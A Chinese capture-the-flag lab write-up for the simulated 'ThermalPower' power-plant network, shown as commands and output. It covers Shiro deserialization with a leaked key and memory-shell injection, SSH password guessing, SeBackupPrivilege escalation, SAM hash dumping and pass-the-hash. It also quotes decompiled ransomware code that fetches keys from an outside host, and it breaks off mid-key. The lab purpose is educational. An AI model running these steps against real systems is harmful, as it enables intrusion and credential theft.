春秋云镜 ThermalPower

前言

本文所使用的工具可参考以下仓库:

Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链

靶标介绍:

该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h

这个靶场是2023工业信息安全技能大赛复赛火力发电场景的原题。

20240313104229-5589178c-e0e3-1

flag1

评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
./fscan -h 39.98.127.19            

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.98.127.19:8080 open
39.98.127.19:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.127.19:8080 code:302 len:0 title:None 跳转url: http://39.98.127.19:8080/login;jsessionid=4F6264CBFDEEEFB5B3BBFD5871672D8C
[*] WebTitle http://39.98.127.19:8080/login;jsessionid=4F6264CBFDEEEFB5B3BBFD5871672D8C code:200 len:2936 title:火创能源监控画面管理平台
[+] PocScan http://39.98.127.19:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://39.98.127.19:8080 poc-yaml-springboot-env-unauth spring2
已完成 1/2 [-] ssh 39.98.127.19:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.127.19:22 root 1234567890 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.127.19:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.127.19:22 admin Admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.127.19:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.98.127.19:22 admin a123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/2
[*] 扫描结束,耗时: 7m4.312747007s

注意到RememberMe,猜测是shiro框架

image-20251023221821524

shiro反序列化

典中典i春秋heapdump泄露,先下载 heapdump 内存泄漏文件:

1
2
3
4
5
6
http://39.98.127.19:8080/actuator/heapdump

# heapdump可能的路径如下
/heapdump
/Actuator/heapdump
/actuator/heapdump

然后提取信息,这里用内存泄露检测工具JDumpSpider一把梭即可,

结果中存在 Shiro key,尝试 Shiro 反序列化:

1
2
3
4
5
6
7
8
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES

===========================================

找到构造链:

1
2
3
4
5
6
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

URL: http://121.89.201.231:8080
SHIRO KEY: QZYysgMYhG6/CzIJlVpR2g==
构造链(可以爆破一下构造链): CommonsBeanutils1
回显方式: AllEcho

image-20251023160305186

注入内存马:

1
2
3
冰蝎[Filter]  注入成功!
路径:http://39.98.127.19 :8080/matrix.ico
密码:cmd

连接内存马,得到 flag01

image-20251023160952731

1
2
3
4
5
6
7
8
9
10
11
12
cat flag01.txt
████ ██ ████ ██
░██░ ░██ █████ █░░░██ ███
██████ ░██ ██████ ██░░░██░█ █░█░░██
░░░██░ ░██ ░░░░░░██ ░██ ░██░█ █ ░█ ░██
░██ ░██ ███████ ░░██████░██ ░█ ░██
░██ ░██ ██░░░░██ ░░░░░██░█ ░█ ░██
░██ ███░░████████ █████ ░ ████ ████
░░ ░░░ ░░░░░░░░ ░░░░░ ░░░░ ░░░░


flag01: flag{81700400-eecc-4895-aa1e-042d7309a630}

flag2

尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。

fscan扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
(remote) root@security:/matrix# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.17.213 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe38:8b17 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:38:8b:17 txqueuelen 1000 (Ethernet)
RX packets 1237105 bytes 870689334 (870.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 928024 bytes 806943200 (806.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 89326 bytes 39004677 (39.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 89326 bytes 39004677 (39.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
./fscan -h 172.22.17.213/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.17.6 is alive
(icmp) Target 172.22.17.213 is alive
[*] Icmp alive hosts len is: 2
172.22.17.213:8181 open
172.22.17.6:445 open
172.22.17.6:139 open
172.22.17.6:135 open
172.22.17.6:80 open
172.22.17.6:21 open
172.22.17.213:22 open
172.22.17.213:8080 open
[*] alive ports len is: 8
start vulscan
[*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER
[*] NetInfo
[*]172.22.17.6
[->]WIN-ENGINEER
[->]172.22.17.6
[*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
[*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=34E3E1DB0B1504872D1A73733BAD037E
[+] ftp 172.22.17.6:21:anonymous
[->]Modbus
[->]PLC
[->]web.config
[->]WinCC
[->]内部软件
[->]火创能源内部资料
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=34E3E1DB0B1504872D1A73733BAD037E code:200 len:2936 title:火创能源监控画面管理平台
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2
已完成 7/8 [-] ssh 172.22.17.213:22 root root@123#4 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 172.22.17.213:22 root Aa1234 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 172.22.17.213:22 admin pass@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 172.22.17.213:22 admin admin@123#4 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 172.22.17.213:22 admin 1qaz2wsx ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 172.22.17.213:22 admin 1q2w3e ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/8
[*] 扫描结束,耗时: 6m16.318813323s

./fscan -h 172.22.0.0/16

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.17.213 is alive
(icmp) Target 172.22.17.6 is alive
(icmp) Target 172.22.26.11 is alive
(icmp) Target 172.22.255.253 is alive
[*] LiveTop 172.22.0.0/16 段存活数量为: 4
[*] LiveTop 172.22.17.0/24 段存活数量为: 2
[*] LiveTop 172.22.26.0/24 段存活数量为: 1
[*] LiveTop 172.22.255.0/24 段存活数量为: 1
[*] Icmp alive hosts len is: 4
172.22.17.6:445 open
172.22.17.6:139 open
172.22.26.11:139 open
172.22.26.11:135 open
172.22.17.6:135 open
172.22.17.6:21 open
172.22.26.11:80 open
172.22.17.6:80 open
172.22.26.11:1433 open
172.22.26.11:445 open
[*] alive ports len is: 10
start vulscan
[*] NetInfo
[*]172.22.26.11
[->]WIN-SCADA
[->]172.22.26.11
[*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER
[*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA
[*] WebTitle http://172.22.26.11 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
[+] mssql 172.22.26.11:1433:sa 123456
[*] NetInfo
[*]172.22.17.6
[->]WIN-ENGINEER
[->]172.22.17.6
[+] ftp 172.22.17.6:21:anonymous
[->]Modbus
[->]PLC
[->]web.config
[->]WinCC
[->]内部软件
[->]火创能源内部资料
已完成 10/10
[*] 扫描结束,耗时: 10.487932257s

提取关键资产:

1
2
[*] NetBios 172.22.17.6     WORKGROUP\WIN-ENGINEER        
[*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA

敏感信息泄露

172.22.17.6 存在敏感信息泄露:

扫出来一个匿名ftp,连一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
proxychains ftp 172.22.17.6             
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.17.6:21 ... OK
Connected to 172.22.17.6.
220 Microsoft FTP Service
Name (172.22.17.6:matrix): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||50909|)
[proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.17.6:50909 ... OK
125 Data connection already open; Transfer starting.
12-25-23 10:39PM <DIR> Modbus
12-25-23 10:41PM <DIR> PLC
12-25-23 10:43PM 168 web.config
12-25-23 10:37PM <DIR> WinCC
12-26-23 12:22AM <DIR> �ڲ�����
12-27-23 02:01AM <DIR> ������Դ�ڲ�����
226 Transfer complete.
ftp> chcp 65001
?Invalid command.
ftp>

http也可以访问到

image-20251023165356039

在火创能源内部资料中得到 WIN-SCADA 的管理员账号密码:

1
2
3
4
5
http://172.22.17.6/火创能源内部资料/SCADA.txt
-----
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

内部通知里包含初始密码组成方式:

  1. 登陆权限限制:
    为确保信息系统的安全性,自即日起,公司所有工程师PC的登陆将由SCADA工程师进行控制。请各位工程师注意,只能通过SCADA工程师提供的登陆方式进行访问。

  2. 登陆账户设置:
    为方便管理和标准化,登陆账户名将采用姓名全称的小写拼音形式。例如,张三的账户名为zhangsan,工号为0801。初始密码将由账户名+@+工号组成,例如,zhangsan@0801。

在内部通讯录中提取 SCADA 工程师信息:

20240313104330-7a07c798-e0e3-1

根据内部通知的初始密码规则,得到 SCADA 工程师的账号密码如下:

1
2
3
4
5
6
7
8
9
10
chenhua/chenhua@0813
zhaoli/zhaoli@0821
wangning/wangning@0837
zhangling/zhangling@0871
zhangying/zhangying@0888
wangzhiqiang/wangzhiqiang@0901
chentao/chentao@0922
zhouyong/zhouyong@0939
lilong/lilong@1046
liyumei/liyumei@1048

impacket 验证:

1
2
# 报错 rpc_s_access_denied
proxychains impacket-wmiexec chenhua:"chenhua@0813"@172.22.17.6 -codec gbk

[!NOTE] rpc_s_access_denied
在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。

chenhua 账号 rdp 登录:

1
2
[*] NetBios 172.22.17.6     WORKGROUP\WIN-ENGINEER
proxychains xfreerdp3 /u:zhangying /p:zhangying@0888 /v:172.22.17.6 /cert:ignore

Backup Operators 组提权

要提权,上winPEASx64.exe

1
2
winPEASx64.exe log
"log" argument present, redirecting output to file "out.txt"

高危项:

  1. 计划任务目录可写:可植入定时执行的恶意程序。
  2. Unquoted Service Path:多个服务路径未加引号且有空格,可通过文件名伪造实现提权。
  3. Backup Operators 组:可尝试备份 SYSTEM/SAM 注册表文件本地提权。
  4. WSUS 配置不安全:可利用 wsuxploit 工具进行提权。
  5. 防火墙关闭:攻击面极大,易被横向渗透。
  6. 3389/RDP、445/SMB 开放:可尝试远程爆破、横向移动。
  7. 敏感文件(如 Unattend.xml、CredentialSettings.xml):可能存储明文密码。

chenhua属于Backup Operators,默认情况下会授予该组 SeBackup 和 SeRestore 权限,现在居然没有。不过因为用户在Backup Operators组内,所以可以使用Backup Operators组内权限提权(https://github.com/k4sth4/SeBackupPrivilege)

SeBackupPrivilege

[!NOTE] 使用 SeBackupPrivilege 权限实现权限提升

  • SeBackupPrivilege 权限用来实现备份操作,允许文件内容检索,即使文件上的安全描述符可能未授予此类访问权限。diskshadow 是 Windows 的内置功能,可以帮助创建备份。参考 hackingarticles,可以在本地或 DC 进行权限提升。
  • Privilege 靶场中也使用该方式实现权限提升。ThermalPower 只涉及本地权限提升,不涉及 DC。

查看 systeminfo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
C:\Users\chenhua>systeminfo

主机名: WIN-ENGINEER
OS 名称: Microsoft Windows Server 2022 Datacenter
OS 版本: 10.0.20348 暂缺 Build 20348
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构建类型: Multiprocessor Free
注册的所有人:
注册的组织: Aliyun
产品 ID: 00454-60000-00001-AA888
初始安装日期: 2023/12/25, 20:35:07
系统启动时间: 2024/3/4, 13:41:17
系统制造商: Alibaba Cloud
系统型号: Alibaba Cloud ECS
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz
BIOS 版本: SeaBIOS 449e491, 2014/4/1
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 3,950 MB
可用的物理内存: 2,137 MB
虚拟内存: 最大值: 5,358 MB
虚拟内存: 可用: 3,600 MB
虚拟内存: 使用中: 1,758 MB
页面文件位置: C:\pagefile.sys
: WORKGROUP
登录服务器: \\WIN-ENGINEER
修补程序: 安装了 3 个修补程序。
[01]: KB5031993
[02]: KB5032198
[03]: KB5032310
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网
启用 DHCP:
DHCP 服务器: 172.22.255.253
IP 地址
[01]: 172.22.17.6
[02]: fe80::6ee2:423a:4d01:5191
Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

查看特权信息,此时 SeBackupPrivilege 未开启:

SetBackup权限用于允许进程绕过通常的文件和目录权限限制,以读取系统的所有文件和目录。它主要用于备份操作,在创建系统备份时,可以让进程访问即使没有显式权限的文件,拥有这个权限的用户可以访问文件系统的任意文件

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Windows\system32> whoami /priv

特权信息
----------------------

特权名 描述 状态
============================= ============== ======
SeBackupPrivilege 备份文件和目录 已禁用
SeRestorePrivilege 还原文件和目录 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用

此时访问 Administrator 目录,提示拒绝访问:

1
2
PS C:\Windows\system32> dir C:\Users\Administrator\flag\
dir : 拒绝访问。

使用 EnableSeBackupPrivilege.ps1启用 SeBackupPrivilege:

1
Import-Module .\EnableSeBackupPrivilege.ps1

image-20251023173152147

接下来我们创建目标系统上 C 盘的备份。

先新建 s.dsh 文件,并将下面内容写入:

1
2
3
4
set context persistent nowriters
add volume c: alias mydrive
create
expose %mydrive% z:

将 s.dsh 文件编码和间距转换为与 Windows 机器兼容形式(在 Windows 上新建 s.dsh 可忽略此步):

1
unix2dos s.dsh

以管理员权限在 PowerShell 中执行命令,执行 diskshadow 并拷贝 flag02 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# 某些目录可能会显示当前用户路径权限不够,可以在 C 盘新建目录 Temp
PS C:\Users\chenhua\Desktop> cd C:\
PS C:\Users\chenhua\Desktop> mkdir Temp
PS C:\Temp> diskshadow /s s.dsh
PS C:\Temp> dir z:\Users\Administrator\flag\
PS C:\Temp> robocopy /b z:\Users\Administrator\flag\ . flag02.txt

# 如果在Downloads目录下,直接运行即可
diskshadow /s s.dsh
robocopy /b z:\Users\Administrator\flag\ . flag02.txt
cat flag02.txt

# 结果如下
PS C:\Users\zhangying\Downloads> diskshadow /s s.dsh
Microsoft DiskShadow 版本 1.0
版权所有 (C) 2013 Microsoft Corporation
在计算机上: WIN-ENGINEER,2025/10/23 17:44:37
-> set context persistent nowriters
-> add volume c: alias mydrive
-> create
无法将 .cab 元数据文件存储在当前工作目录中,因为它是只读的。
请使用 SET METADATA <metadata.cab> 指定现有的可写目录。
PS C:\Users\zhangying\Downloads> robocopy /b z:\Users\Administrator\flag\ . flag02.txt
-------------------------------------------------------------------------------
ROBOCOPY :: Windows 的可靠文件复制
-------------------------------------------------------------------------------
开始时间: 2025102317:44:50
源: z:\Users\Administrator\flag\
目标: C:\Users\zhangying\Downloads\
文件: flag02.txt
选项: /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 z:\Users\Administrator\flag\
100% 新文件 350 flag02.txt
------------------------------------------------------------------------------
总数 复制 跳过 不匹配 失败 其他
目录: 1 0 1 0 0 0
文件: 1 1 0 0 0 0
字节: 350 350 0 0 0 0
时间: 0:00:00 0:00:00 0:00:00 0:00:00
已结束: 2025102317:44:50
PS C:\Users\zhangying\Downloads> dir
目录: C:\Users\zhangying\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2025/10/23 17:21 91 1.txt
-a---- 2025/10/23 17:28 3073 EnableSeBackupPrivilege.ps1
-a---- 2025/10/23 14:19 350 flag02.txt
-a---- 2025/10/23 17:12 138798 out.txt
-a---- 2025/10/23 17:43 90 s.dsh
-a---- 2025/9/14 1:10 10166272 winPEASx64.exe
PS C:\Users\zhangying\Downloads> cat flag02.txt
_____.__ _______ ________
_/ ____\ | _____ ____ \ _ \ \_____ \
\ __\| | \__ \ / ___\/ /_\ \ / ____/
| | | |__/ __ \_/ /_/ > \_/ \/ \
|__| |____(____ /\___ / \_____ /\_______ \
\//_____/ \/ \/
flag02: flag{de946b53-3ba4-4fd0-b80f-aafc911ca447}
PS C:\Users\zhangying\Downloads>

也可以创建txt来运行,比如script.txt

1
2
3
4
set context persistent nowriters
add volume c: alias mydrive
create
expose %mydrive% z:

也是在有权限的位置(无权限自己在C盘下创建一个目录)运行diskshadow /s script.txt,随后可以在z盘备份盘列出administrator用户的目录

注册表 SAM 转储

重置环境,尝试直接转储 sam 和 system,发现不需要特权即可以成功导出:

1
2
3
4
5
PS C:\Users\chenhua\Desktop> cd C:\
PS C:\Users\chenhua\Desktop> mkdir matrix
PS C:\Users\chenhua\Desktop> cd C:\matrix
PS C:\matrix> reg save hklm\sam c:\matrix\sam
PS C:\matrix> reg save hklm\system c:\matrix\system

下载到本地,提取 Administrator 的 NTLM hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
impacket-secretsdump -sam sam -system system LOCAL

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x6c2be46aaccdf65a9b7be2941d6e7759
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f82292b7ac79b05d5b0e3d302bd0d279:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a2fa2853651307ab9936cc95c0e0acf5:::
chentao:1000:aad3b435b51404eeaad3b435b51404ee:47466010c82da0b75328192959da3658:::
zhaoli:1001:aad3b435b51404eeaad3b435b51404ee:2b83822caab67ef07b614d05fd72e215:::
wangning:1002:aad3b435b51404eeaad3b435b51404ee:3c52d89c176321511ec686d6c05770e3:::
zhangling:1003:aad3b435b51404eeaad3b435b51404ee:8349a4c5dd1bdcbc5a14333dd13d9f81:::
zhangying:1004:aad3b435b51404eeaad3b435b51404ee:8497fa5480a163cb7817f23a8525be7d:::
lilong:1005:aad3b435b51404eeaad3b435b51404ee:c3612c48cf829d1149f7a4e3ef4acb8a:::
liyumei:1006:aad3b435b51404eeaad3b435b51404ee:63ddcde0fa219c75e48e2cba6ea8c471:::
wangzhiqiang:1007:aad3b435b51404eeaad3b435b51404ee:5a661f54da156dc93a5b546ea143ea07:::
zhouyong:1008:aad3b435b51404eeaad3b435b51404ee:5d49bf647380720b9f6a15dbc3ffe432:::
chenhua:1009:aad3b435b51404eeaad3b435b51404ee:07ff24422b538b97f3c297cc8ddc7615:::
[*] Cleaning up...

以管理员权限登录获得 flag02:

1
proxychains impacket-wmiexec administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk

flag3

尝试接管 SCADA 工程师站,并启动锅炉。

工控系统接管

之前泄露的信息中已经包含了管理员账号密码:

1
2
3
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

rdp 登录,当前账号为管理员权限,点击开关,得到 flag:

1
proxychains xfreerdp3 /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11 /cert:ignore

image-20251023181448521

1
flag{bcd080d5-2cf1-4095-ac15-fa4befca1c0}

flag4

尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。

有时候xfreerdp不能从远程主机剪切,可以用这个命令

1
xfreerdp3 /u:USERNAME /p:PASSWORD /v:IP /clipboard

这里复制不了远程主机文件,直接用共享文件夹

1
2
# xfreerdp3 /u:USERNAME /p:PASSWORD /v:远程主机IP /drive:share,本地路径
proxychains xfreerdp3 /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11 /cert:ignore /drive:share,/home/matrix/Desktop/14ThermalPower/

Win+D 或者 Win+M 回到桌面,发现勒索者留下的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
** 您的文件已被加密 **

很抱歉,您的计算机中的文件已被加密。要解锁您的文件,您需要支付赎金。

-----------------------------------------
| 注意事项 |
-----------------------------------------
| 1. 不要试图删除或修改加密文件。 |
| 2. 支付赎金前,不要尝试恢复文件。 |
| 3. 请在规定时间内支付赎金。 |
-----------------------------------------

要获取解密密钥和进一步的说明,请访问我们的支付网站:
[支付网站链接]

如果无法访问支付网站,请通过电子邮件联系我们:
contact@ransomware.com

赎金金额:2比特币

-----------------------------------------
| 警告:尝试恢复文件或报警将导致永久丢失文件。|
-----------------------------------------

比特币支付地址:1ABcDefGhijxLxnxpxrsxUvwxYZabcdEf

最近使用的文件中发现 ScadaDB.sql,但是为 0 字节:

20240313104425-9a950fb6-e0e3-1

因为该文件已经被加密为 ScadaDB.sql.locky

20240313104430-9e02a302-e0e3-1

在 C 盘下找到勒索程序 Lockyou.exe

勒索程序逆向

将加密的文件 ScadaDB.sql.locky 和勒索程序 Lockyou.exe 下载到本地进行分析。Lockyou.exe 为 .NET 编译,需要使用 dnSpy 或者 dotPeek 进行反编译

通过 dotPeek 反编译 Lockyou.exe。在源代码中可以看到,RSA 解密得到 AES_KEY

1
2
3
4
5
6
7
public AESCrypto()
{
this.BACKEND_URL = "http://39.101.170.47/";
this.PRIVATE_KEY = this.GetHttpContent(this.BACKEND_URL + "privateKey");
this.AES_KEY_ENC = this.GetHttpContent(this.BACKEND_URL + "encryptedAesKey");
this.AES_KEY = this.DecryptRSA(this.AES_KEY_ENC, this.PRIVATE_KEY);
}

image-20251023210000415

提示中给了两个附件,分别看一下内容:

1
2
encryptedAesKey # AES_KEY_ENC
privateKey # PRIVATE_KEY

encryptedAesKey 即为 AES_KEY_ENC,是 Base64 字符串:

1
lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=

privateKey 即为 PRIVATE_KEY,是 XML 格式文件:

1
<RSAKeyValue><Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus><Exponent>AQAB</Exponent><P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P><Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q><DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP><DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ><InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ><D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D></RSAKeyValue>

根据 locky 勒索软件家族加解密逻辑和 .NET 逆向代码,解密思路如下:

  • 首先用 privateKey 对加密的 encryptedAesKey进行 RSA 解密,得到 AES_KEY
  • 再用 AES_KEY 对加密的文件 ScadaDB.sql.locky 解密,得到 ScadaDB.sql

勒索文件解密

RSA解密

通过工具,将 privateKey 从 XML 格式转换为 PEM 格式,得到 PRIVATE_KEY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
